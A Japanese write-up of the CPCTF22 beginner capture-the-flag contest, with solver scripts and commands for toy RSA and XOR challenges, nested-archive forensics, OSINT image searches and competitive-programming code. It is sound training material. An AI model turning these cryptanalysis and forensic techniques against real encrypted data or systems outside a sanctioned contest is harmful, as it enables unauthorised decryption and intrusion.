CPCTF22に参加しました。そのwrite-up記事です。
- コンテスト概要
- 結果
- 環境
- ノーヒントで解けた問題
- [Crypto, Newbie] My own language (73 solves, 10.00 points)
- [Crypto, Newbie] RSA warmup (75 solves, 10.00 points)
- [Crypto, Easy] PHE1 (43 solves, 184.28 points)
- [Crypto, Easy] poweRSA (31 solves, 225.56 points)
- [Crypto, Easy] xxorxx (39 solves, 179.85 points)
- [Forensics, Newbie] sunset (54 solves, 10.00 points)
- [Forensics, Easy] deeper (22 solves, 300.00 points)
- [Misc, Easy] This is Flag!! (41 solves, 196.60 points)
- [OSINT, Newbie] Welcome to OSINT! 1 (72 solves, 10.00 points)
- [OSINT, Easy] hacker (26 solves, 372.41 points)
- [OSINT, Medium] illumination (25 solves, 287.18 points)
- [PPC, Newbie] Addition Construct (66 solves, 10.00 points)
- [PPC, Newbie] Nkuth's Plus Notation (44 solves, 10.00 points)
- [PPC, Easy] Garbage Bags Optimization (34 solves, 201.42 points)
- [PPC, Easy] RTA in Honey traP (16 solves, 308.10 points)
- [PPC, Easy] Shout Sucu (23 solves, 259.38 points)
- [Pwn, Easy] Smash Stack (21 solves, 279.86 points)
- [Reversing, Newbie] Welcome to reversing (19 solves, 10.00 points)
- [Reversing, Easy] Link Your Wish (10 solves, 376.23 points)
- [Reversing, Easy] pyck up! (11 solves, 384.10 points)
- [Reversing, Normal] Spider Anatomy (8 solves, 388.15 points)
- [Shell, Newbie] Hello Webshell (65 solves, 10.00 points)
- [Shell, Newbie] netcat (57 solves, 10.00 points)
- [Shell, Easy] Find Image (24 solves, 263.75 points)
- [Shell, Easy] Veeeeeeery Long Text (50 solves, 142.59 points)
- [Web, Newbie] Forbidden 1 (75 solves, 10.00 points)
- [Web, Newbie] POST ME! (60 solves, 10.00 points)
- [Web, Newbie] Robots (59 solves, 10.00 points)
- ヒントを一部みて解いた問題
- ヒントで解法を見て解いた問題の一部
- 感想
コンテスト概要
2022/05/01(日) 13:30 +09:00 - 2022/05/01(日) 19:30:00 +09:00 の開催期間でした。他ルールはAboutページから引用します:
ようこそ 東京工業大学デジタル創作同好会traPによる新入生歓迎イベントです。 新入生でない人でも参加できます。もちろん、学外の人でも大歓迎です。 新入生の中で上位に入賞した方にはささやかな景品もあります。 CPCTFとは 競技プログラミング (Competitive Programming) アルゴリズムやプログラミングの能力を競う競技 CTF (Capture The Flag) サイバーセキュリティの能力を競う競技 ……を主に新入生や、そうじゃないひとたちにも体験してもらおう!!という試みです。 ぜひ気軽に参加してください。 参加方法 ページ右上のログインからログイン/アカウント作成してください。 アカウント作成にはメールアドレスが必要です。 新入生の方は「~@m.titech.ac.jp」のメールアドレスで登録し、新入生の欄にチェックをお願いします。この情報は景品の受け渡しに利用します。 タイムスケジュール 競技開始 : 2022年 5月1日(日) 13:30 競技終了 : 2022年 5月1日(日) 19:30 結果発表 : 2022年 5月1日(日) 20:00 景品 新入生のうち、上位五名には景品があります!上位をめざして頑張ってください! 景品の受け取り方法については登録された@m.titech.ac.jpのメールアドレスを用いて連絡する予定です。 観戦 競技に参加しなくても、ページ上部のランキングから順位表を観戦することができます。 また、こちらから競技の様子を可視化したビジュアライザを見ることができます。 また、ビジュアライザは少々重いため、競技中はその様子をYouTubeLiveで配信します。そちらもご利用ください。 CPCTFの遊び方 ページ中央の登録からアカウントを作成します すでに作成した人は右上のログインからログインすることができます ページ上部メニューの問題一覧から問題を探しましょう。 問題はたくさんあります。解けそうなものから解いてみましょう。 点数やジャンルについての詳しい説明はこの下にあります。 問題を解きます。 わからないことがあったら、ページ上部の質問から質問しましょう。 運営からの重要な連絡はアナウンスに表示されます。 FLAGを提出します。 FLAGの形式はCPCTF{[-_a-zA-Z0-9]+}です。 禁止事項 複数人での参加 問題サーバー及びスコアサーバーに過度な負荷をかけるような行為 複数のアカウントを用いての参加 競技時間中のSNS等におけるFLAGの内容、解法などの問題に関する言及 ○○を解きました!!など、問題を解いたことに関する言及はOKです ジャッジサーバーの対応言語について プログラムを提出するタイプの問題は以下の言語にのみ対応しています C C++ Java Python3 PyPy3 C# Haskell Ruby Go Rust コンパイル・実行コマンドなど詳細な情報はこのページの最下部にあります。 WebShellについて CTFではLinuxで使えるコマンドを使いたいことがあります。 しかし、初心者の方はLinux環境をすぐには用意出来ないと思います。 そこで、CPCTF22ではWebShellという形で自由に使えるLinux環境を用意しました。 (中略) ジャンルについて 各問題には ジャンル が設定されています。 どのジャンルがどういった問題なのかは、以下を参考にしてください。 Reversing Linuxの実行形式ファイル(WindowsのEXEみたいなもの)を解析します。ちょっぴり難しめです。 Pwn Linuxの実行形式ファイルの脆弱性を突いて制御を奪ったりする問題です。一番ハッキングっぽいかも?初心者の方はとっつきにくいかも。 PPC 競技プログラミングです。アルゴリズムの力で殴る問題です。競プロを体験したい人はこのジャンルを倒しましょう。 Crypto 暗号です。数学が好きな人は楽しめる……?かも。 Shell Unixシェルの知識や技術を試す問題です。Unixを触ったことがなくても、調べながらなんとかできる問題も多いです。 Forensics 与えられたファイルをくまなく調査する問題です。求められる知識は広いですが、Google先生が強い味方になってくれるでしょう。 Web Webに関する知識や、Webアプリの脆弱性を突く問題です。ブラウザだけで解ける問題もあるので、手を付けやすいかも。 OSINT いわゆるネトスト(ネットストーカー)をする問題です。個人情報の特定みたいなことをします。 Misc 作った人が分類に困った問題です。なんかいろいろありますね。 問題について CPCTFでは、大学新入生向けの 易しい問題 を多く用意しています。(用意したつもりです。) 問題には 難易度 が設定されており、コレが高いほど難しい問題になります。 Newbie (10点固定) チュートリアル問題です。shell操作に慣れていない人はこの問題を一通りやるといいでしょう。 Easy 簡単です。初心者の方はここから手を付けると良いでしょう。経験者の方はちょっと物足りないかも。 Medium 普通くらいの問題です。このあたりが解けると、なかなかすごいかもです。 Hard かなり難しいです。解けたらスーパーハッカーを名乗れるかもです。 問題の解かれた回数は、もっと良い指標になるかもしれません!チェックしてみてください。 なお、点数は下にあるように変動します。 ヒントについて CPCTFでは、難易度がEasy以上の問題には2つのヒントと解答がついています。 ヒントを開くと、獲得できるポイントが減ってしまいますが、悩んでいても解けないものは解けないので、バンバン開いてしまうことをおすすめします。 特に、1番目のヒントは得点減少率が低く設定されています。 上位入賞を狙う人も、ヒントをバンバン読んでたくさんの問題を解いたほうが有利かもしれませんね。 解答を見ても、少しだけ点数がつくので最後まで挑戦しましょう! 動的配点について 大雑把に言うと 解いた人数が多いほど得点が下がります ヒントを開くと自分の得る得点が下がります 難易度別には以下の通りです。 難易度 ヒントなし ヒント1個 ヒント2個 ヒント3個(解法) Newbie 10 10 10 10 Easy 500 ~ 50 475 ~ 47.5 400 ~ 40 50 ~ 5 Medium 500 ~ 50 475 ~ 47.5 400 ~ 40 50 ~ 5 Hard 500 ~ 50 475 ~ 47.5 400 ~ 40 50 ~ 5 (後略)
結果
正の得点を得ている121人中、5,204.90点で7位でした。
環境
Windows(Windows Sandboxを含む)とWSL2(Ubuntu)、VirtualBox(REMnux)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19044.1682] c:\>wsl -l -v NAME STATE VERSION * Ubuntu Stopped 2 kali-linux Stopped 2 c:\>
他ソフト
- IDA Free Version 7.7.220118 Windows x64 (64-bit address size)
- TestDisk 7.2-WIP
- Binary Editor BZ Version 1.9.8.5
- Google Chrome Beta Version 102.0.5005.27 (Official Build) beta (64-bit)
WSL2(Ubuntu)
$ cat /proc/version Linux version 5.10.102.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Mar 2 00:30:59 UTC 2022 $ cat /etc/os-release NAME="Ubuntu" VERSION="18.04.6 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.6 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic $ python3.8 --version Python 3.8.0 $ python3.8 -m pip show pip | grep Version Version: 22.0.4 $ python3.8 -m pip show IPython | grep Version Version: 7.29.0 $ python3.8 -m pip show pwntools | grep Version Version: 4.7.0 $ python3.8 -m pip show pycryptodome | grep Version Version: 3.11.0 $ sage --version SageMath version 8.1, Release Date: 2017-12-07 $ g++ --version | head -2 g++ (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0 Copyright (C) 2017 Free Software Foundation, Inc. $ gdb --version | head -2 GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1 Copyright (C) 2018 Free Software Foundation, Inc. $ cat ~/peda/README | grep -e 'Version: ' -e 'Release: ' Version: 1.0 Release: special public release, Black Hat USA 2012 $ curl --version curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3 Release-Date: 2018-01-24 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL $ binwalk --help | grep 'Binwalk v' Binwalk v2.1.1 $ exiftool -ver 10.80 $
VirtualBox(REMnux)
$ cat /proc/version Linux version 4.15.0-118-generic (buildd@lgw01-amd64-039) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #119-Ubuntu SMP Tue Sep 8 12:30:01 UTC 2020 $ cat /etc/os-release NAME="Ubuntu" VERSION="18.04.5 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.5 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic $
ノーヒントで解けた問題
Aboutページにもある通り、難易度Newbieの問題は常に10点です。また、本CTFではヒント機能があります。どうやらヒントを見た人も正答者数にそのまま数えるようです。
ヒントを全く見ないで解けた問題を以下に記述します。
[Crypto, Newbie] My own language (73 solves, 10.00 points)
Ya! Lxi zyq etxn sawo rtooxmto? Metxs! Sawo wo x pwin yb owrugt oqcoswsqswyi lwuate saxs etugxlto x gtsste dwsa ysate gtsste. Sat Lxtoxe lwuate, yit yb sat bxryqo oqcoswsqswyi lwuateo, axo ctti wi qot owilt sat swrt yb sat xilwtis Eyrxi Truwet. sat bgxm wo atet. LULSB{dtglyrt_sy_lezusy_dyegn}.
とりあえずROT13を疑いましたが違いました。シーザー暗号も疑いましたが違いました。まさか換字式暗号かと考えて quipqiup - cryptoquip and cryptogram solver へ投げてみると復号してくれました:
Oh! Can you read this messages? Great! This is a kind of simple substitution cipher that replaces a letter with other letter. The Caesar cipher, one of the famous substitution ciphers, has been in use since the time of the ancient Roman Empire. the flag is here. CPCTF{welcome_to_crypto_world}.
フラグを入手できました: CPCTF{welcome_to_crypto_world}
[Crypto, Newbie] RSA warmup (75 solves, 10.00 points)
多くの秘密を守る為、現代ではRSA暗号がよく使われています。そこでRSA暗号の仕組みについて問う問題です。 RSA暗号とは剰余上の累乗を使った暗号です。具体的には暗号化は次のようにして計算します。 1. 素数 p,q を生成して N=pq を計算 2. 平文 m に対して暗号文 c は c≡m e (modN) 例えば p=2,q=19,N=38 m=7,e=3 とすると暗号文 c は c=7^3=11(mod38) となります。 それでは逆に復号化はどうやってやるのでしょうか?暗号文と e,N を与えるので平文をフラグの中に書いて提出してください。例えば平文が1であれば CPCTF{1} と書きます。 c=810 e=5 N=415411
Nが小さいのでfactorコマンドで素因数分解しました:
$ factor 415411 415411: 487 853 $
あとはIPythonの対話環境を使って復号しました:
In [7]: c=810 In [8]: e=5 In [9]: N=415411 In [10]: (p, q) = (487, 853) In [11]: d = pow(e, -1, (p-1)*(q-1)) In [12]: m = pow(c, d, N) In [13]: m Out[13]: 40613
問題文にある通りの書式で構築して、フラグを入手できました: CPCTF{40613}
[Crypto, Easy] PHE1 (43 solves, 184.28 points)
秘密鍵を持ってることを秘密鍵なしで証明するハッピーな方法を考えたッピ! 接続先 nc phe1.cpctf.space 30007
配布ファイルとして、以下のproblem.py
がありました:
# coding: utf-8 import os from Crypto.Util.number import getPrime, bytes_to_long from secret import flag def encrypt(plain, N, e): return pow(plain, e, N) def decrypt(enc, p, q, e): phi = (p-1) * (q-1) d = pow(e, -1, phi) return pow(enc, d, p * q) def generate_question(N, e): question1 = bytes_to_long(os.urandom(16)) question2 = bytes_to_long(os.urandom(16)) question3 = question1 * question2 return [encrypt(question1, N, e), encrypt(question2, N, e)], encrypt(question3, N, e) def main(): p = getPrime(512) q = getPrime(512) N = p * q e = 0x10001 print("Welcome to Happy App") print(f"N = {N}") print(f"e = {e}") while True: q, correct = generate_question(N, e) print(f"encrypt(a) = {q[0]}") print(f"encrypt(b) = {q[1]}") print("What is a × b encrypted") answer = int(input("> ")) if(correct == answer): print(flag) else: print("Noooooo") break return if __name__ == "__main__": main()
コードを見ながら考えると、q1, q2をランダムに決定して
c1 = q1^e mod N c2 = q2^e mod N c3 = (q1*q2)^e mod N = (c1 * c2) mod N
としていることがわかりました。つまり出力から計算して与えればよいです:
$ nc phe1.cpctf.space 30007 Welcome to Happy App N = 57620988644283068669958592137198638612583347139100406131136621763518345649048364058209151939009338148165061396826653472921800235898834631013119940905178000454666138708284102073041444912514749528131888949528298319161279063554522898792824848307459288952130646808792555949665018019604925118192643014371601418537 e = 65537 encrypt(a) = 2996054138814093403831360573532206951698550206680819715229755691206161637621342892814035505915902979889086443379120980908141589093824510451290587318711896791699360531591907519214592548626569384173912569869515372051669715183420246952379431637328860759889092753126021646062578525982003005850637001757417985205 encrypt(b) = 23382277619599678244039386296852514234489284219547302472673257444836653974529141711920359623248138505393715695250352166142926286279505938633858103779405783459428261229035350868065881570964593141252510212728229632075144475179272189816407811214764474037721878211205656537165207159145953844449419252735053757558 What is a × b encrypted (ここでターミナルをもう1つ起動してIPythonを起動) In [7]: 2996054138814093403831360573532206951698550206680819715229755691206161637621342892814035505915902979889086443379120980908141589093824510451290587318711896791699360531591907519214592548626569384173912569869515372051669715183420246952379431637328860759889092753126021646062578525982003005850637001757417985205 * 23382277619599678244039386296852514234489284219547302472673257444836653974529141711920359623248138505393715695250352166142926286279505938633858103779405783459428261229035350868065881570964593141252510212728229632075144475179272189816407811214764474037721878211205656537165207159145953844449419252735053757558 % 57620988644283068669958592137198638612583347139100406131136621763518345649048364058209151939009338148165061396826653472921800235898834631013119940905178000454666138708284102073041444912514749528131888949528298319161279063554522898792824848307459288952130646808792555949665018019604925118192643014371601418537 Out[7]: 52330451327254161172767072972537728545973588151382025316136203563896756867981801044108345893274250128874644252912510490871258155900650044422133150936120932052480590974011807105093547341569095614341557464662021361086952622053079826358485562766898962407303771833121618022588978521244882747534101839031360177047 (ncを実行したターミナルへ戻ります) > 52330451327254161172767072972537728545973588151382025316136203563896756867981801044108345893274250128874644252912510490871258155900650044422133150936120932052480590974011807105093547341569095614341557464662021361086952622053079826358485562766898962407303771833121618022588978521244882747534101839031360177047 b'CPCTF{Is_the_RSA_a_happy_tool_pe0lws}' $
フラグを入手できました: CPCTF{Is_the_RSA_a_happy_tool_pe0lws}
[Crypto, Easy] poweRSA (31 solves, 225.56 points)
ヤーーッ!パワーーッ!(ニッ
問題文に続いて、以下のソースコードと出力も記述されていました:
from Crypto.Util.number import getPrime, bytes_to_long from secret import FLAG m = bytes_to_long(FLAG) p = getPrime(512) q = getPrime(512) N = p * q e = 0x10001 r = pow(p, q, N) c = pow(m, e, N) print("N:", N) print("r:", r) print("c:", c)
N: 90155872626109118751539082340637664291284739918666752584753399796834394108934269799361082409068780300733478243187803947914852201275756546305701601038245062017076328987708208192044674964106835923338854908195583033310310682803512196201848036103484667516142174036453910627093541752413321035733931243762833992113 r: 9322793222533738919136767770062343847990445869750540466031127454552421896606703877767352447027469817530156341564290950012563071681611937229761941420331277 c: 6146682863326523930660780475800345684609346868118904988599020801137516078990162263453764612248242206809400248946028976662634601168167123937919798903932765746347318386910880849642655181553179504240263695508893635468417428856823495012423849224891599994895553098814398443037416874773801965115317240666818199846
「多分rはpかqでは」と考えて、とりあえず素数判定をしてみました:
$ sage -c 'print(is_prime(9322793222533738919136767770062343847990445869750540466031127454552421896606703877767352447027469817530156341564290950012563071681611937229761941420331277))' True $
素数であることがわかったので、後はRSAとして復号するソルバーを書きました:
#!/usr/bin/env python3.8 from Crypto.Util.number import long_to_bytes e = 0x10001 N= 90155872626109118751539082340637664291284739918666752584753399796834394108934269799361082409068780300733478243187803947914852201275756546305701601038245062017076328987708208192044674964106835923338854908195583033310310682803512196201848036103484667516142174036453910627093541752413321035733931243762833992113 p= 9322793222533738919136767770062343847990445869750540466031127454552421896606703877767352447027469817530156341564290950012563071681611937229761941420331277 c= 6146682863326523930660780475800345684609346868118904988599020801137516078990162263453764612248242206809400248946028976662634601168167123937919798903932765746347318386910880849642655181553179504240263695508893635468417428856823495012423849224891599994895553098814398443037416874773801965115317240666818199846 q = N // p assert p*q == N d = pow(e, -1, (p-1)*(q-1)) print(long_to_bytes(pow(c, d, N)).decode())
実行しました:
$ ./solve.py CPCTF{c0mm0n_d1v1s0r_1s_c0mm0n_tr1gg3r} $
フラグを入手できました: CPCTF{c0mm0n_d1v1s0r_1s_c0mm0n_tr1gg3r}
[Crypto, Easy] xxorxx (39 solves, 179.85 points)
たくさん書き換えれば誰にもわからないよね!
問題文に続いて、以下のソースコードと暗号文も記述されていました:
import random from secret import FLAG def encrypt(message): text = list(message.encode('ascii')) for _ in range(100): a = random.randrange(1, 32) b = random.randrange(1, 32) for i in range(len(text)): text[i] = a ^ ((b ^ text[i]) ^ a) ^ b ^ a ciphertext = bytes(text) return ciphertext cipher = encrypt(FLAG) with open('ciphertext', 'wb') as f: f.write(cipher)
VEVASnm%gJ$ Jv%xx`"!"$c&h
ソースコードを見ると乱数a, bを生成して使っているように見えますが、aは3回XORしているので1回分と同義ですし、bは2回XORしているので無意味です。そこまでわかったのでaだけを探索するソルバーを書きました:
#!/usr/bin/env python3.8 def decrypt(c, key): return b"".join(map(lambda b: bytes([b^key]), c)) c = b'VEVASnm%gJ$ Jv%xx`"!"$c&h' for i in range(256): m = decrypt(c, i) if b"CPCTF{" in m: print(m.decode())
実行しました:
$ ./solve.py CPCTF{x0r_15_c0mmu7471v3} $
フラグを入手できました: CPCTF{x0r_15_c0mmu7471v3}
[Forensics, Newbie] sunset (54 solves, 10.00 points)
問題文は無く、flag.jpg(問題文は.png表記ですがリンク先は.jpg)のみが与えられました。おもむろに検索しました:
$ exiftool flag.jpg | grep CTF Comment : CPCTF{3x1f_inf0_15_us3fu1} $
フラグを入手できました: CPCTF{3x1f_inf0_15_us3fu1}
[Forensics, Easy] deeper (22 solves, 300.00 points)
問題文はなく、flagファイルのみが与えられました。とりあえず見てみました:
$ binwalk flag DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 2822 x 1540, 8-bit/color RGB, non-interlaced 91 0x5B Zlib compressed data, compressed 32233 0x7DE9 Zip archive data, at least v1.0 to extract, compressed size: 16039, uncompressed size: 16039, name: flag 48408 0xBD18 End of Zip archive $
とりあえずpngファイルとして見てみると、「flag is in deeper...」と書かれた内容でした。そういうわけでZipファイルとして展開しました:
$ unzip flag_1.png Archive: flag_1.png warning [flag_1.png]: 32233 extra bytes at beginning or within zipfile (attempting to process anyway) extracting: flag $ file flag flag: gzip compressed data, was "flag", last modified: Fri Mar 11 13:04:13 2022, from Unix $
圧縮形式がネストしています。同様に展開を続けました:
$ mv flag flag_2.gz $ gzip --decompress --keep flag_2.gz $ ls flag_1.png flag_2 flag_2.gz $ file flag_2 flag_2: bzip2 compressed data, block size = 900k $ mv flag_2 flag_3.bz2 $ bzip2 --decompress --keep flag_3.bz2 $ ls flag_1.png flag_2.gz flag_3 flag_3.bz2 $ file flag_3 flag_3: ASCII text, with very long lines $ mv flag_3 flag_4.txt $ xxd flag_4.txt | head -10 00000000: 5545 7344 4242 5141 4141 4149 4143 5775 UEsDBBQAAAAIACWu 00000010: 6131 5258 5866 6471 316a 7741 4146 5736 a1RXXfdq1jwAAFW6 00000020: 4151 4149 4142 7741 5a6d 7868 5a79 357a AQAIABwAZmxhZy5z 00000030: 646d 6456 5641 6b41 4130 5646 4b32 494a dmdVVAkAA0VFK2IJ 00000040: 5269 7469 6458 674c 4141 4545 3951 4541 RitidXgLAAEE9QEA 00000050: 4141 5155 4141 4141 7a5a 3162 7a78 3348 AAQUAAAAzZ1bzx3H 00000060: 6557 6276 4235 6a2f 5144 4159 4941 4773 eWbvB5j/QDAYIAGs 00000070: 7265 3764 5a39 7679 5459 444d 7a51 417a re7dZ9vyTYDMzQAz 00000080: 4633 4e76 3042 496c 4b36 5a45 6761 526a F3Nv0BIlK6ZEgaRj 00000090: 4f34 5035 372f 5055 3774 3466 7a56 7072 O4P57/PU7t4fzVpr $ cat flag_4.txt | base64 -d > flag_5 $ file flag_5 flag_5: Zip archive data, at least v2.0 to extract $ mv flag_5 flag_5.zip $ unzip flag_5.zip Archive: flag_5.zip inflating: flag.svg $
ここでSVG画像が出てきたので開くと、一部黒塗りのフラグ文字列が表示されました。文字選択はできたのでコピーすると、フラグがわかりました: CPCTF{4_10t_of_f1l3_typ35}
[Misc, Easy] This is Flag!! (41 solves, 196.60 points)
これがフラグです!フラグだと思うものをCPCTF{}に包んでください。 wehurtasit
コピペするために範囲選択しようとすると、カーソル位置がおかしな場所へ移動することに気付きました。UnicodeのRight-To-Left記号が入っていそうだったので、ファイルに保存してBzで開きました:
1文字ずつ拾って、CPCTF{}に包んでフラグを入手できました: CPCTF{wehurtasit}
[OSINT, Newbie] Welcome to OSINT! 1 (72 solves, 10.00 points)
調査対象から入手できたのは、このラーメンの画像のみだ。君らなら何らかの情報を得ることができるはずだ。頼んだぞ、エージェント諸君。
入門者向け問題とのことなのでGoogle画像検索で検索してみると https://nm615.blogspot.com/ がヒットしました。そのページにアクセスしてみると、フラグが書かれていました: CPCTF{n1c3_s34rch_sk1ll}
[OSINT, Easy] hacker (26 solves, 372.41 points)
あなたは、あるハッカー集団を追っています。その中で、彼らが運営しているWebサイトのリンクと思われる以下の文字列を入手しました。彼らの秘密を暴いてください。 wmwldbr7ajqnnvngrx5cuaiedntpc2776ykoxo7mopkle44mif43syad.onion
onionアドレスなのでTow Browser経由でアクセスすると、ロゴ画像と文章のみのシンプルなページが表示されました。なんとなくHTMLソースを確認すると、ロゴ画像だけ:8000ポートを使用していました。ファイル名を削って http://wmwldbr7ajqnnvngrx5cuaiedntpc2776ykoxo7mopkle44mif43syad.onion:8000/
へアクセスしてみると、以下の表示がありました:
You are the real hacker! The FLAG is CPCTF{d1v3_d33p_1nt0_th3_d4rkn355}
フラグを入手できました: CPCTF{d1v3_d33p_1nt0_th3_d4rkn355}
[OSINT, Medium] illumination (25 solves, 287.18 points)
フラグは、撮影された通りの名前をヘボン式ローマ字で大文字表記したものです。変換にはこのサイト(https://tomari.org/main/java/hebon.html)を用いると良いでしょう。
この問題は想定難易度が高いので、Google Lensを試すことにしました。Google Chrome Beta版を起動して画像を読み込ませ、右クリックメニューのSearch image with Googl Lens
を選択します。いい具合に認識されるように試行錯誤しました:
写真中央のイルミネーション(?)箇所周辺に合わせると、よく似たサムネイル画像と Stunning Holiday Light Displays From Around the World が見つかりました。そのページにアクセスして見てみると、「Yokohama, Japan」箇所で「Christmas and New Year Illuminations at Isezaki Mall. DigiPub/Getty Images」と紹介されていました。意気揚々とGoogleマップで「伊勢崎モール」で検索すると、「伊勢佐木町通り」であることが分かりました。あとは問題文にあるとおりにヘボン式ローマ字に変換したフラグを提出すると、無事正解できました: CPCTF{ISEZAKICHODORI}
[PPC, Newbie] Addition Construct (66 solves, 10.00 points)
5000を境界に、極端に振り分けてやればできそうです。その戦略で実装しました:
#include<iostream> #include<cstdlib> #include<vector> #include<string> using namespace std; void solve() { int N; cin >> N; if (N <= 5000) { std::cout << 1 << " " << (N - 1) << std::endl; } else { std::cout << 5000 << " " << (N - 5000) << std::endl; } } int main() { cin.tie(0); ios::sync_with_stdio(false); solve(); }
提出すると無事ACとなり、フラグを入手できました: CPCTF{c0n57ruc710n_pr0bl3m5_4r3_h4rd}
なお、問題サイトの出力例1の説明で「tqk さんだけいっぱい食べられますが、2 人は 5000 個食べないと満足しないので、誤差です。」という注意書きがありました。笑いました。
[PPC, Newbie] Nkuth's Plus Notation (44 solves, 10.00 points)
各種数値の制約が1桁なので、愚直な実装で済みそうです。オーバーフローが怖いので、念のため64-bit整数型を使うようにします。その戦略で実装しました:
#include<iostream> #include<cstdlib> #include<vector> #include<string> using namespace std; using ULL = unsigned long long; ULL nkuth(ULL N, ULL A, ULL B) { if (N == 1) { return A + B; } ULL x = A; for (int i = 1; i < B; ++i) { x = nkuth(N - 1, A, x); } return x; } void solve() { int N, A, B; cin >> N >> A >> B; cout << nkuth(N, A, B) << endl; } int main() { cin.tie(0); ios::sync_with_stdio(false); solve(); }
提出すると無事ACとなり、フラグを入手できました: CPCTF{5_plus-5_5_yen_h0sh11}
[PPC, Easy] Garbage Bags Optimization (34 solves, 201.42 points)
容量Sで可能かどうかを二分探索する戦略だと間に合いそうです。そう考えて実装しました:
#include<iostream> #include<cstdlib> #include<vector> #include<string> using namespace std; using ULL = unsigned long long; bool can(const auto& v, ULL S, int K) { int restTrash = K; ULL restCapacity = S; for (const auto x : v) { if (x > S) { return false; } if (restCapacity >= x) { restCapacity -= x; } else { restTrash -= 1; if (restTrash <= 0) { return false; } restCapacity = S - x; } } return true; } void solve() { int N, K; cin >> N >> K; vector<ULL> v(N, 0); for (auto& x : v) { cin >> x; } ULL low = 0, high = 10000000000000000000ULL; while (low < high) { ULL mid = (low + high) / 2; if (can(v, mid, K)) { high = mid; } else { low = mid + 1; } } cout << low << endl; } int main() { cin.tie(0); ios::sync_with_stdio(false); solve(); }
提出すると無事ACとなり、フラグを入手できました: CPCTF{xXb1nAry_searCH_iiypXx}
[PPC, Easy] RTA in Honey traP (16 solves, 308.10 points)
根から距離Xにある節にチェックポイントを設定すると、X * (その節以下の葉の個数 -1)
だけ短縮できます。根からの距離と節以下の葉の個数は、深さ優先探索でO(N)で計算できます。その後にチェックポイント位置をO(N)で全探索して最短プレイ時間を求めます。これらにより、全体としてもO(N)の時間計算量になります。
根のシナリオをクリアするまでにも1時間かかる点を忘れていて少々ハマりつつ、以下のコードを実装しました:
#include<iostream> #include<cstdlib> #include<vector> #include<limits> using namespace std; using ULL = unsigned long long; struct Node { std::vector<int> nexts; int height = 0; // 根からの高さ int leafCount = 0; // そのノード以下の葉の個数、葉なら1でいいや。 }; int N; std::vector<Node> nodes; // 戻り値: 葉の個数 int calculate_height_and_leaf_count(int index, int height) { nodes[index].height = height; if (nodes[index].nexts.empty()) { return 1; } else { int leafCount = 0; for (auto v : nodes[index].nexts) { leafCount += calculate_height_and_leaf_count(v, height + 1); } nodes[index].leafCount = leafCount; return leafCount; } } void solve() { cin >> N; nodes.resize(N); for (int i = 0; i < N - 1; ++i) { int a, b; cin >> a >> b; // to 0-indexed a -= 1; b -= 1; nodes[a].nexts.push_back(b); } calculate_height_and_leaf_count(0, 1); // シナリオ1のプレイに1時間かかる ULL resultWithoutCheckPoint = 0; for (const auto& node : nodes) { if (node.nexts.empty()) { resultWithoutCheckPoint += node.height; } } ULL result = resultWithoutCheckPoint; for (int checkPoint = 0; checkPoint < N; ++checkPoint) { ULL current = resultWithoutCheckPoint - (nodes[checkPoint].leafCount - 1) * nodes[checkPoint].height; result = std::min(result, current); } std::cout << result << std::endl; } int main() { cin.tie(0); ios::sync_with_stdio(false); solve(); }
提出すると無事ACとなり、フラグを入手できました: CPCTF{s0sfhihGtSh1wDdaQ}
[PPC, Easy] Shout Sucu (23 solves, 259.38 points)
しばらく悩んだ後、dp[これからindexAを歌う][喉を痛めた回数] := 最小の口パク回数
の状態を管理する動的計画法を思いつきました:
#include<iostream> #include<cstdlib> #include<vector> #include<string> #include<limits.h> #include<string.h> using namespace std; using ULL = unsigned long long; int dp[10005][105] = {}; // dp[これからindexAを歌う][喉を痛めた回数] == 最小の口パク回数 void MinAssign(auto& a, const auto& b) { if (a > b) { a = b; } } void solve() { int N, K; cin >> N >> K; std::vector<ULL> A(N, 0); for (int i = 0; i < N; ++i) { std::cin >> A[i]; } std::vector<ULL> X(K, 0); for (int i = 0; i < K; ++i) { std::cin >> X[i]; } constexpr int INF = 0x3F3F3F3F; memset(dp, INF, sizeof(dp)); dp[0][0] = 0; for (int ia = 0; ia < N; ++ia) { for (int ix = 0; ix <= K; ++ix) { if (dp[ia][ix] == INF) { continue; } if (ix == K) { MinAssign(dp[ia + 1][ix], dp[ia][ix] + 1); // 口パク } else { if (X[ix] >= A[ia]) { MinAssign(dp[ia + 1][ix], dp[ia][ix]); } else { MinAssign(dp[ia + 1][ix + 1], dp[ia][ix]); // 無理して歌う MinAssign(dp[ia + 1][ix], dp[ia][ix] + 1); // 口パク } } } } int result = INF; for (int i = 0; i <= K; ++i) { MinAssign(result, dp[N][i]); } cout << result << endl; } int main() { cin.tie(0); ios::sync_with_stdio(false); solve(); }
